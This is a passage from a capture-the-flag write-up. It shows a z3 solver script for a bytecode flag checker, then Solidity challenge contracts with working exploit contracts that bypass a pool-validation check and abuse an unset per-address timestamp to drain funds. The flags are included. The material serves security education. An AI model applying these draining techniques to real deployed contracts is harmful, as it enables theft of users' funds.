=========================================================== try { throw inp[x] + inp[y] + inp[z]; } catch (e) { try { if (a == _a) { throw e * 4; } else { throw e * 5; } } catch (e1) { try { if (counter % 2 == 0){ a += e1; throw a + at1; } else { a *= e1; throw a + af1; } } catch (e2) { counter += ctr_add1; if (counter % 2 == 1) { a += e2 ^ _at2; } else { a += e2 ^ _af2; } } finally { counter += ctr_add2; if (counter % 2 == 0) { a *= _at3; } else { a -= _af3; } } } finally { counter += ctr_add3; if (counter % 2 == 0) { a ^= _at4; } else { a ^= _af4; } } } finally { counter += ctr_add4; } check1.push(a); ``` As usual, for this kind of flag checker, we can just pass it to z3. ### POC ```python= import regex as re import z3 charset = b"0123456789ABCDEF" check = eval(open("check.txt", "r").read()) check = list(map(int, check)) expr = re.compile(r"""LOAD_UNDEFINED\(\), POP\(\), LOAD\('inp',\), LOAD_NUMBER\((\d+)\.0,\), LOAD_MEMBER\(\), LOAD\('inp',\), LOAD_NUMBER\((\d+)\.0,\), LOAD_MEMBER\(\), BINARY_OP\('\+',\), LOAD\('inp',\), LOAD_NUMBER\((\d+)\.0,\), LOAD_MEMBER\(\), BINARY_OP\('\+',\), THROW\(\), NOP\(\), LABEL\(\d+,\), LOAD_UNDEFINED\(\), POP\(\), LOAD_NUMBER\((\d+)\.0,\), STORE\('a',\), JUMP\(\d+,\), LABEL\(\d+,\), LOAD_UNDEFINED\(\), LOAD\('a',\), LOAD_NUMBER\((\d+)\.0,\), BINARY_OP\('==',\), JUMP_IF_FALSE\(\d+,\), POP\(\), LOAD\('e',\), LOAD\('e',\), BINARY_OP\('\+',\), LOAD\('e',\), BINARY_OP\('\+',\), LOAD\('e',\), BINARY_OP\('\+',\), THROW\(\), JUMP\(\d+,\), LABEL\(\d+,\), POP\(\), LOAD\('e',\), LOAD\('e',\), BINARY_OP\('\+',\), LOAD\('e',\), BINARY_OP\('\+',\), LOAD\('e',\), BINARY_OP\('\+',\), LOAD\('e',\), BINARY_OP\('\+',\), THROW\(\), LABEL\(\d+,\), NOP\(\), LABEL\(\d+,\), LOAD_UNDEFINED\(\), JUMP\(\d+,\), LABEL\(\d+,\), LOAD_UNDEFINED\(\), LOAD\('counter',\), LOAD_NUMBER\(2\.0,\), BINARY_OP\('%',\), LOAD_NUMBER\(0\.0,\), BINARY_OP\('==',\), JUMP_IF_FALSE\(\d+,\), POP\(\), LOAD\('e1',\), STORE_OP\('a', '\+'\), POP\(\), LOAD\('a',\), LOAD_NUMBER\((\d+)\.0,\), BINARY_OP\('\+',\), THROW\(\), JUMP\(\d+,\), LABEL\(\d+,\), POP\(\), LOAD\('e1',\), STORE_OP\('a', '\*'\), POP\(\), LOAD\('a',\), LOAD_NUMBER\((\d+)\.0,\), BINARY_OP\('\+',\), THROW\(\), LABEL\(\d+,\), NOP\(\), LABEL\(\d+,\), LOAD_UNDEFINED\(\), POP\(\), LOAD_NUMBER\((\d+)\.0,\), STORE_OP\('counter', '\+'\), LOAD\('counter',\), LOAD_NUMBER\(2\.0,\), BINARY_OP\('%',\), LOAD_NUMBER\(1\.0,\), BINARY_OP\('==',\), JUMP_IF_FALSE\(\d+,\), POP\(\), LOAD\('e2',\), LOAD_NUMBER\((\d+)\.0,\), BINARY_OP\('\^',\), STORE_OP\('a', '\+'\), JUMP\(\d+,\), LABEL\(\d+,\), POP\(\), LOAD\('e2',\), LOAD_NUMBER\((\d+)\.0,\), BINARY_OP\('\^',\), STORE_OP\('a', '\+'\), LABEL\(\d+,\), NOP\(\), LABEL\(\d+,\), LOAD_UNDEFINED\(\), POP\(\), LOAD_NUMBER\((\d+)\.0,\), STORE_OP\('counter', '\+'\), LOAD\('counter',\), LOAD_NUMBER\(2\.0,\), BINARY_OP\('%',\), LOAD_NUMBER\(0\.0,\), BINARY_OP\('==',\), JUMP_IF_FALSE\(\d+,\), POP\(\), LOAD_NUMBER\((\d+)\.0,\), STORE_OP\('a', '\*'\), JUMP\(\d+,\), LABEL\(\d+,\), POP\(\), LOAD_NUMBER\((\d+)\.0,\), STORE_OP\('a', '-'\), LABEL\(\d+,\), NOP\(\), LABEL\(\d+,\), TRY_CATCH_FINALLY\(\d+, \d+, 'e2', \d+, True, \d+\), NOP\(\), LABEL\(\d+,\), LOAD_UNDEFINED\(\), POP\(\), LOAD_NUMBER\((\d+)\.0,\), STORE_OP\('counter', '\+'\), LOAD\('counter',\), LOAD_NUMBER\(2\.0,\), BINARY_OP\('%',\), LOAD_NUMBER\(0\.0,\), BINARY_OP\('==',\), JUMP_IF_FALSE\(\d+,\), POP\(\), LOAD_NUMBER\((\d+)\.0,\), STORE_OP\('a', '\^'\), JUMP\(\d+,\), LABEL\(\d+,\), POP\(\), LOAD_NUMBER\((\d+)\.0,\), STORE_OP\('a', '\^'\), LABEL\(\d+,\), NOP\(\), LABEL\(\d+,\), TRY_CATCH_FINALLY\(\d+, \d+, 'e1', \d+, True, \d+\), NOP\(\), LABEL\(\d+,\), LOAD_UNDEFINED\(\), POP\(\), LOAD_NUMBER\((\d+)\.0,\), STORE_OP\('counter', '\+'\), NOP\(\), LABEL\(\d+,\), TRY_CATCH_FINALLY\(\d+, \d+, 'e', \d+, True, \d+\), POP\(\), LOAD\('check1',\), LOAD\('a',\), LOAD_N_TUPLE\(1,\), CALL_METHOD_DOT\('push',\), JUMP\(\d+,\), LABEL\(\d+,\),""") buff = open("chall-ordered.py", "r").read() m = expr.findall(buff) assert m solver = z3.Solver() z3_flag = [z3.BitVec(f"z3_flag_{i}", 32) for i in range(40)] for i in range(len(z3_flag)): solver.add(z3.Or([z3_flag[i] == c for c in charset])) counter = 40 for i in range(len(m)): x, y, z, a, _a, _at1, _af1, ctr_add1, _at2, _af2, ctr_add2, _at3, _af3, ctr_add3, _at4, _af4, ctr_add4_arr = map(int, m[i]) e = z3_flag[x] + z3_flag[y] + z3_flag[z] if a == _a: e1 = e * 4 else: e1 = e * 5 if counter % 2 == 0: a += e1 e2 = a + _at1 else: a *= e1 e2 = a + _af1 counter += ctr_add1 if counter % 2 == 1: a += e2 ^ _at2 else: a += e2 ^ _af2 counter += ctr_add2 if counter % 2 == 0: a *= _at3 else: a -= _af3 counter += ctr_add3 if counter % 2 == 0: a ^= _at4 else: a ^= _af4 counter += ctr_add4_arr solver.add(a == check[i]) assert solver.check() == z3.sat model = solver.model() flag = "".join([chr(model[z3_flag[i]].as_long()) for i in range(40)]) print(f"CJ{{{flag}}}") ``` ### Flag: CJ{36727FE6C43965E7D9F836E2ED1F4C3C0CF02AD8} ## Blockchain/Intro to ETH In this challenge, we only get single solidity file attachment: `Setup.sol`. As said in the chall name, it just simple challenge to introducing Blockchain challenge. We just call 1 function and pass some password in transaction to solve the challenge. ![image](https://hackmd.io/_uploads/r1u3paheJe.png) ### Flag: CJ{m0mMy_I_s0lv3d_bL0cKch41n_ch4ll3ng3zZ} ## Blockchain/Nusantara Fortune Pool🩸 In this challenge, we get 3 main solidity file, 1 file is just extension from foundry. Firstly we look into `Setup.sol` file, objective of the chall is make the balance of operator is 0 (drained). To achieve that, we must check where the location that possible for the operator to transfer its balance. **NusantaraFortuneOperator.sol** ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./NusantaraFortunePool.sol"; import "./Ownable.sol"; contract NusantaraFortuneOperator is Ownable { mapping(bytes32 => address) private _fortunePools; mapping(bytes32 => uint256) private _lastVerified; // Deploy a new NusantaraFortunePool function deployNewPool(uint256 _rewardPercentage) external onlyOwner returns (bytes32, address) { NusantaraFortunePool newPool = new NusantaraFortunePool(_rewardPercentage); bytes32 poolId = keccak256(abi.encodePacked(address(newPool))); require(_fortunePools[poolId] == address(0), "Pool exist"); _fortunePools[poolId] = address(newPool); return (poolId, address(newPool)); } function activatePool(bytes32 poolId, address pool) external onlyOwner { require(keccak256(abi.encodePacked(pool)) == poolId, "Pool ID mismatch"); require(_fortunePools[poolId] == address(pool), "Pool ID mismatch"); NusantaraFortunePool fortunePool = NusantaraFortunePool(pool); require(!fortunePool.getStatus(), "Pool is already active"); fortunePool.activate(); } function deactivatePool(bytes32 poolId, address pool) external onlyOwner { require(keccak256(abi.encodePacked(pool)) == poolId, "Pool ID mismatch"); require(_fortunePools[poolId] == address(pool), "Pool ID mismatch"); NusantaraFortunePool fortunePool = NusantaraFortunePool(pool); require(fortunePool.getStatus(), "Pool is already non-active"); fortunePool.deactivate(); } // Verify the pool periodically by ensuring it is active function verifyPool(bytes32 poolId, address pool) external { require(keccak256(abi.encodePacked(pool)) == poolId, "Pool ID mismatch"); require(_fortunePools[poolId] == address(pool), "Pool ID mismatch"); if (_lastVerified[poolId] == 0 || _lastVerified[poolId] + 1 days < block.timestamp) { require(_verifyPool(poolId, pool), "Pool is not active, please ask admin to activate"); } _lastVerified[poolId] = block.timestamp; } // Withdraw staked amount from a specific pool function withdrawStaked(bytes32 poolId, address pool) external { require(keccak256(abi.encodePacked(pool)) == poolId, "Pool ID mismatch"); // Disallow verification on-the-fly in order to: // - Discourage user from withdrawing their money from our pool for the sake of retention. // - Encourage user to either contribute or claim reward for user retention. require(_lastVerified[poolId] == 0 || _lastVerified[poolId] + 1 days >= block.timestamp, "Pool isn't verified yet"); NusantaraFortunePool fortunePool = NusantaraFortunePool(pool); // Call the pool to unstake and get the staked amount uint256 stakedAmount = fortunePool.unstake(msg.sender); // Transfer the staked amount back to the user (bool success, ) = msg.sender.call{value: stakedAmount}(""); require(success, "Staked amount transfer failed"); } // Stake Ether into a specific pool function contributeToPool(bytes32 poolId, address pool) external payable { require(keccak256(abi.encodePacked(pool)) == poolId, "Pool ID mismatch"); // Verify pool on-the-fly in order to: // - Encourage user to contribute more to the pool. if (_lastVerified[poolId] == 0 || _lastVerified[poolId] + 1 days < block.timestamp) { require(_verifyPool(poolId, pool), "Pool is not active, please ask admin to activate"); } else if (_fortunePools[poolId] != pool) { revert("Pool does not exist"); } require(msg.value > 0, "Cannot stake 0"); // Stake directly into the NusantaraFortunePool NusantaraFortunePool fortunePool = NusantaraFortunePool(pool); fortunePool.stake(msg.sender, msg.value, msg.sender == owner()); } // Claim reward from a specific pool function claimPoolReward(bytes32 poolId, address pool) external { require(keccak256(abi.encodePacked(pool)) == poolId, "Pool ID mismatch"); // Verify pool on-the-fly in order to: // - Encourage user to claim reward for retention. // - Encourage user to contribute more due to the claimed reward. if (_lastVerified[poolId] == 0 || _lastVerified[poolId] + 1 days < block.timestamp) { require(_verifyPool(poolId, pool), "Pool is not active, please ask admin to activate"); } else if (_fortunePools[poolId] == address(0)) { revert("Pool does not exist"); } NusantaraFortunePool fortunePool = NusantaraFortunePool(pool); // Call the pool to distribute the reward uint256 reward = fortunePool.distributeReward(msg.sender); // Transfer the reward to the user (bool success, ) = msg.sender.call{value: reward}(""); require(success, "Reward transfer failed"); } // Internal function to verify and get the pool status function _verifyPool(bytes32 poolId, address pool) internal view returns (bool) { return NusantaraFortunePool(pool).getStatus(); } // Fallback function to accept Ether receive() external payable {} } ``` As we looks at the code, the possible location is only in `withdrawStaked` and `claimPoolReward` function. When we check on `claimPoolReward` function, it doesn't have limit to claim, so we can just claim it until operator balance is 0, but the problem is, amount that we can achieve/take from operator is soo small, and the gas fee is more expensive than balance that we achieve. So the method is not feasible even not possible. If we check on `contributeToPool` and `claimPoolReward` function, it has similar implementation of validation, but on `claimPoolReward`, it compare on `0` value, and if we check on`_fortunePools`, it used mapping as structure, and it's possibly vulnerable with [Uninitialized Storage Pointers](https://swcregistry.io/docs/SWC-109/). ![image](https://hackmd.io/_uploads/SyvHrR2ekx.png) As said in the [article](https://metana.io/blog/common-solidity-security-vulnerabilities-how-to-avoid-them), the mapping is not automatically set to a zero (0), the value can be not 0 even random, we can used this to bypass the check of custom Pool. For exploit, the main idea is create custom Pool and passing to the `claimPoolReward` function, in there we can give the `reward` value as we want. *\* Correction from the author: actually, it is not vulnerable to Uninitialized Storage Pointers; therefore, versions >= 0.5.0 are no longer affected. It works because the code enters the first if condition but bypasses further validation. The second validation is not checked if the first condition fails, allowing us to bypass the second check (NusantaraFortuneOperator.sol:line 93~97).* ### POC **AttackerPool.sol** ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Ownable.sol"; contract AttackerPool is Ownable { mapping(address => uint256) public stakes; mapping(address => bool) public hasStaked; mapping(address => uint256) public rewards; uint256 public rewardPercentage; uint256 public constant MAX_REWARD_PERCENTAGE = 4; // 4% max reward bool public isActive; constructor() { rewardPercentage = 100; isActive = false; } // Function to activate the pool function activate() external onlyOwner { isActive = true; } // Function to deactivate the pool function deactivate() external onlyOwner { isActive = false; } // Stake Ether into the pool function stake(address user, uint256 amount, bool isRealOwner) external payable onlyOwner { require(isActive, "Pool is not active"); require(amount > 0, "Cannot stake 0"); require(isRealOwner || amount <= 1_000_000, "Cannot stake more than 1_000_000 ether"); require(!hasStaked[user], "Already staked"); stakes[user] = amount; hasStaked[user] = true; } // Calculate reward without transferring function distributeReward(address user) external onlyOwner returns (uint256) { return msg.sender.balance; } // Unstake and return the staked amount function unstake(address user) external onlyOwner returns (uint256) { require(isActive, "Pool is not active"); require(stakes[user] > 0, "No stake found"); uint256 stakedAmount = stakes[user]; stakes[user] = 0; return stakedAmount; } // Get the reward for a user, can be called by anyone function getReward(address user) external view returns (uint256) { return rewards[user]; } // Get the status of the pool function getStatus() external view returns (bool) { return isActive; } } ``` **Exploit.sol** ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {NusantaraFortunePool} from "../src/NusantaraFortunePool.sol"; import {Setup} from "../src/Setup.sol"; import {NusantaraFortuneOperator} from "../src/NusantaraFortuneOperator.sol"; import {AttackerPool} from "../src/AttackerPool.sol"; contract Exploit { Setup setup; NusantaraFortuneOperator operator; NusantaraFortunePool pool; uint256 much = 1_000_000; event Log(uint256 balance); constructor(address _setup) payable { setup = Setup(_setup); operator = setup.operator(); pool = NusantaraFortunePool(setup.poolF()); } function run() public { AttackerPool attackerPool = new AttackerPool(); bytes32 attackerPoolId = keccak256(abi.encodePacked(address(attackerPool))); attackerPool.activate(); attackerPool.transferOwnership(address(operator)); operator.claimPoolReward(attackerPoolId, address(attackerPool)); require(setup.isSolved(), "Not solved"); } receive() external payable {} } ``` ### Flag: CJ{lm40o0_I_C4n_f0oL_th3_nUs4nt4Ra_f0r7un33z_p00olzZz} ## Blockchain/The Brothers Exchange🩸 In this challenge, we get 4 important solidity file, the another file is just extension. In this challenge, the objective is make the player balance is more than `0.98 ether` and the goodCoin balance is more than `0.98 ether`. **Setup.sol** ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; import "./BudiExchange.sol"; import "./GoodCoin.sol"; import "./WicaksonoETF.sol"; contract Setup { BudiExchange public budiExchange; GoodCoin public goodCoin; WicaksonoETF public wicaksonoETF; address player; constructor() payable { goodCoin = new GoodCoin(); wicaksonoETF = new WicaksonoETF(); budiExchange = new BudiExchange(address(goodCoin), address(wicaksonoETF)); // Mint some initial GoodCoin for the BudiExchange goodCoin.mint(address(budiExchange), 2 ether); // Fund some initial reward for WicaksonoETF wicaksonoETF.fundReward{value: 10 ether}(); } function setPlayer() external { require(player == address(0), "Player has been set"); player = msg.sender; } function isSolved() external view returns (bool) { return goodCoin.balanceOf(player) >= 0.98 ether && player.balance >= 0.98 ether; } } ``` **WicaksonoETF.sol** ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC20.sol"; import "./ReentrancyGuard.sol"; import "./Ownable.sol"; contract WicaksonoETF is ERC20, ReentrancyGuard, Ownable { uint256 public amountManaged; uint256 public feeReceived; uint256 public constant FEE_PERCENTAGE = 1; // 1% fee uint256 public totalReward; mapping(address => uint256) public lastBuyTimestamp; constructor() ERC20("WicaksonoETF", "WETF", 18) Ownable(msg.sender) {} event amountMoney(uint256 amount); function buyShares() external payable { require(msg.value > 0, "Must send ETH to buy shares"); uint256 fee = (msg.value * FEE_PERCENTAGE) / 100; uint256 amountAfterFee = msg.value - fee; feeReceived += fee; amountManaged += amountAfterFee; uint256 sharesToMint = calculateShares(amountAfterFee); _mint(msg.sender, sharesToMint); lastBuyTimestamp[msg.sender] = block.timestamp; } function withdrawShares(uint256 amount) external nonReentrant { require(amount > 0, "Amount must be greater than 0"); require(balanceOf[msg.sender] >= amount, "Insufficient balance"); uint256 ethToReturn = (amount * amountManaged) / totalSupply; _burn(msg.sender, amount); uint256 reward = 0; if (block.timestamp >= lastBuyTimestamp[msg.sender] + 10 weeks) { reward = (totalReward * amount) / totalSupply; emit amountMoney(reward); totalReward -= reward; } (bool success, ) = msg.sender.call{value: ethToReturn + reward}(""); require(success, "ETH transfer failed"); amountManaged -= ethToReturn; } function calculateShares(uint256 amount) public view returns (uint256) { if (totalSupply == 0) { return amount; } return (amount * totalSupply) / amountManaged; } function getSharePrice() public view returns (uint256) { if (totalSupply == 0) { return 1 ether; } return (amountManaged * 1e18) / totalSupply; } function fundReward() external payable onlyOwner { require(msg.value > 0, "Must send ETH to fund reward"); totalReward += msg.value; } } ``` **BudiExchange.sol** ```solidity= // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC20.sol"; import "./Ownable.sol"; import "./GoodCoin.sol"; import "./WicaksonoETF.sol"; contract BudiExchange is Ownable { GoodCoin public goodCoin; WicaksonoETF public wicaksonoETF; uint256 public exchangeFeePercentage = 5; // 0.5% fee uint256 public constant FEE_DENOMINATOR = 1000; mapping(address => uint256) public lastExchangeTimestamp; uint256 public exchangeCooldown = 1 hours; event ExchangeCompleted(address indexed user, uint256 sharesAmount, uint256 foreignAmount); event FeeUpdated(uint256 newFeePercentage); event CooldownUpdated(uint256 newCooldown); constructor(address _goodCoin, address _wicaksonoETF) Ownable(msg.sender) { goodCoin = GoodCoin(_goodCoin); wicaksonoETF = WicaksonoETF(_wicaksonoETF); } function exchangeSharesForForeign(uint256 shareAmount) external { require(lastExchangeTimestamp[msg.sender] == 0 || block.timestamp >= lastExchangeTimestamp[msg.sender] + exchangeCooldown, "Exchange cooldown not met"); require(wicaksonoETF.transferFrom(msg.sender, address(this), shareAmount), "Transfer failed"); uint256 sharePrice = wicaksonoETF.getSharePrice(); uint256 foreignAmount = (shareAmount * sharePrice) / 1e18; uint256 fee = (foreignAmount * exchangeFeePercentage) / FEE_DENOMINATOR; uint256 amountAfterFee = foreignAmount - fee; require(goodCoin.transfer(msg.sender, amountAfterFee), "Foreign currency transfer failed"); lastExchangeTimestamp[msg.sender] = block.timestamp; emit ExchangeCompleted(msg.sender, shareAmount, amountAfterFee); } function setExchangeFee(uint256 _newFeePercentage) external onlyOwner { require(_newFeePercentage <= 50, "Fee too high"); // Max 5% fee exchangeFeePercentage = _newFeePercentage; emit FeeUpdated(_newFeePercentage); } function setExchangeCooldown(uint256 _newCooldown) external onlyOwner { exchangeCooldown = _newCooldown; emit CooldownUpdated(_newCooldown); } function withdrawFees() external onlyOwner { uint256 balance = goodCoin.balanceOf(address(this)); require(balance > 0, "No fees to withdraw"); require(goodCoin.transfer(owner(), balance), "Fee withdrawal failed"); } } ``` To achive goodCoin we can buy/mint it with `BudiExchange` via `WicaksonoETF`. In `WicaksonoETF` it has reward mechanics, reward will be given to the user that last buy shares is more than 10 weeks. In `WicaksonoETF` the reward is funded with amount 10 ether, if we meets the criteria for achieve the reward, we might be solve the challenge, but we cannot to wait until 10 weeks. Firstly i think to manipulate the `block.timestamp`, but the problem is we cannot traverse to another block, because the block/network is new, impossible to find block with age 10 weeks, so we need another way. If you see in the comparison of timestamp, it compare with mapping storage, same as last challange, that mean we can exploit with same way, we can buy shares and transfer the shares to another address, then the address claim the rewards because the address not done intialize the mapping storage. *\* After sharing with authors, this is unintended. The intended way is using read-only reentrancy attack on WicaksonoETF.* ### POC **Exploit.sol** ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Setup} from "./Setup.sol"; import {BudiExchange} from "./BudiExchange.sol"; import {WicaksonoETF} from "./WicaksonoETF.sol"; import {Player} from "./Player.sol"; import {Minter} from "./Minter.sol"; contract Exploit { Setup setup; BudiExchange budiExchange; WicaksonoETF wicaksonoETF; constructor(address _setup) payable { setup = Setup(_setup); budiExchange = setup.budiExchange(); wicaksonoETF = setup.wicaksonoETF(); } function run() public { Minter minter = new Minter{value: 0.01 ether}(); Player player = new Player{value: 0.01 ether}(); minter.run(address(player), wicaksonoETF); player.withdraw(wicaksonoETF); minter.withdraw(wicaksonoETF); player.run(setup, budiExchange, wicaksonoETF); require(setup.isSolved(), "Not solved"); } } ``` **Minter.sol** ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {WicaksonoETF} from "./WicaksonoETF.sol"; contract Minter { constructor() payable {} function run(address player, WicaksonoETF wicaksonoETF) public { wicaksonoETF.buyShares{value: 2}(); wicaksonoETF.transfer(player, 1); } function withdraw(WicaksonoETF wicaksonoETF) public { wicaksonoETF.withdrawShares(1); } receive() external payable {} } ``` **Player.sol** ```solidity= // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import {Setup} from "./Setup.sol"; import {BudiExchange} from "./BudiExchange.sol"; import {WicaksonoETF} from "./WicaksonoETF.sol"; contract Player { constructor() payable {} event Log(string message, uint256 value); function withdraw(WicaksonoETF wicaksonoETF) public { wicaksonoETF.withdrawShares(1); require(address(this).balance >= 10 ether, "Not lucky"); } function run(Setup setup, BudiExchange budiExchange, WicaksonoETF wicaksonoETF) public { emit Log("totalSupply", wicaksonoETF.totalSupply()); emit Log("amountManaged", wicaksonoETF.amountManaged()); emit Log("calculatedShares", wicaksonoETF.calculateShares(3 ether)); wicaksonoETF.buyShares{value: 3 ether}(); wicaksonoETF.approve(address(budiExchange), 1.001 ether); budiExchange.exchangeSharesForForeign(1.001 ether); setup.setPlayer(); } receive() external payable {} } ``` ### Flag: CJ{s0_w31rdz_th4t_mY_r3enTranCy_gu4rdz_n0t_w0rk1ngzZz}